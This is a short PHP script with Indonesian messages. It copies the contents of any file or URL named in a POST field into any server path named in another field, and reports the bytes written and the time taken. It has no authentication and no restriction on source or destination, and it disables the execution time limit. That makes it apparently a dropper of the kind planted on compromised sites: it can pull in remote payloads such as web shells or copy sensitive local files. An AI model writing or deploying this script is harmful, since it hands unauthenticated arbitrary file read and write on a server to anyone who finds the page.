<?php
set_time_limit(0);
if(isset($_POST[name]) && isset($_POST[file]))
{
$starttimer = time()+microtime();
$filename = $_POST[name];
$fp=fopen($_POST[file], "r");
$somecontent="";
while (!feof($fp)) {
$somecontent = fread($fp, 8192);

if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}

if (fwrite($handle, $somecontent) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}
}

echo "tersimpan di file ".$_POST[name]." ".filesize($_POST[name])." bytes";
fclose($fp);
fclose($handle);
$stoptimer = time()+microtime();
$timer = round($stoptimer-$starttimer,4);
echo "
proses : $timer detik.";

}